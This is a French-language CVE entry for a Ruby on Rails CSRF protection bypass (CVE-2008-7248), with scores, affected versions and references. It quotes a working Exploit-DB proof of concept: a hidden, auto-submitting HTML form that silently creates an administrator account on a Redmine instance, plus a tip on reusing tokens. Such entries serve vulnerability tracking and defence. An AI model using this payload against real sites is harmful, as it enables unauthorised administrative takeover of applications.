CVE-2008-7248 : Détail

CVE-2008-7248

A03-Injection
11.41%V4
Network
2009-12-16
00h00 +00:00
2010-03-30
07h00 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Ruby on Rails 2.1 before 2.1.3 and 2.2.x before 2.2.2 does not verify tokens for requests with certain content types, which allows remote attackers to bypass cross-site request forgery (CSRF) protection for requests to applications that rely on this protection, as demonstrated using text/plain.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 33402

Date de publication : 2009-12-13 23h00 +00:00
Auteur : p0deje
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/37322/info Ruby on Rails is prone to a cross-site request-forgery vulnerability. Exploiting this issue may allow a remote attacker to perform certain administrative actions, gain unauthorized access to the affected application, or delete certain data. Other attacks are also possible. /** * Redmine <= 0.8.6 CSRF Add Admin User Exploit * Discovered by: p0deje (http://p0deje.blogspot.com) * Application: http://www.redmine.org/wiki/redmine/Download * SA: http://www.redmine.org/news/30 * Date: 13.11.2009 * Versions affected: <= 0.8.6 * Description: this is a simple exploit which exploits CSRF vulnerability in Redmine, it creates user account with adminstartive rights */ <html> <body> <form method=POST action="http://www.example.com/users/new"> <input style="display: none" type="text" value="hacker" size="25" name="user[login]" id="user_login"/> <input style="display: none" type="text" value="hacker" size="30" name="user[firstname]" id="user_firstname"/> <input style="display: none" type="text" value="hacker" size="30" name="user[lastname]" id="user_lastname"/> <input style="display: none" type="text" value="hacker@hacker.com" size="30" name="user[mail]" id="user_mail"/> <input style="display: none" type="password" size="25" name="password" id="password" value="hacker" /> <input style="display: none" type="password" size="25" name="password_confirmation" id="password_confirmation" value="hacker" /> <input style="display: none" type="checkbox" value="1" name="user[admin]" id="user_admin"/> <input style="display: none" type="hidden" value="1" name="user[admin]"/> <input style="display: none" type="submit" value="Create" id="commit" name="commit" /> </form> <script>document.getElementById("commit").click();</script> </body> </html> /** * P.S. Actually, this vulnerability wasn&#039;t fixed in Redmine 0.8.7, because token was generated one time for all the pages and allthe users. * Thus, you can add POST data with token of any user and exploit will be working again */

Products Mentioned

Configuraton 0

Rubyonrails>>Rails >> Version 2.1.0

Rubyonrails>>Rails >> Version 2.1.1

Rubyonrails>>Rails >> Version 2.1.2

Rubyonrails>>Rails >> Version 2.2.0

Rubyonrails>>Rails >> Version 2.2.1

Références

http://www.openwall.com/lists/oss-security/2009/11/28/1
Tags : mailing-list, x_refsource_MLIST
http://secunia.com/advisories/36600
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2009/2544
Tags : vdb-entry, x_refsource_VUPEN
http://www.openwall.com/lists/oss-security/2009/12/02/2
Tags : mailing-list, x_refsource_MLIST
http://secunia.com/advisories/38915
Tags : third-party-advisory, x_refsource_SECUNIA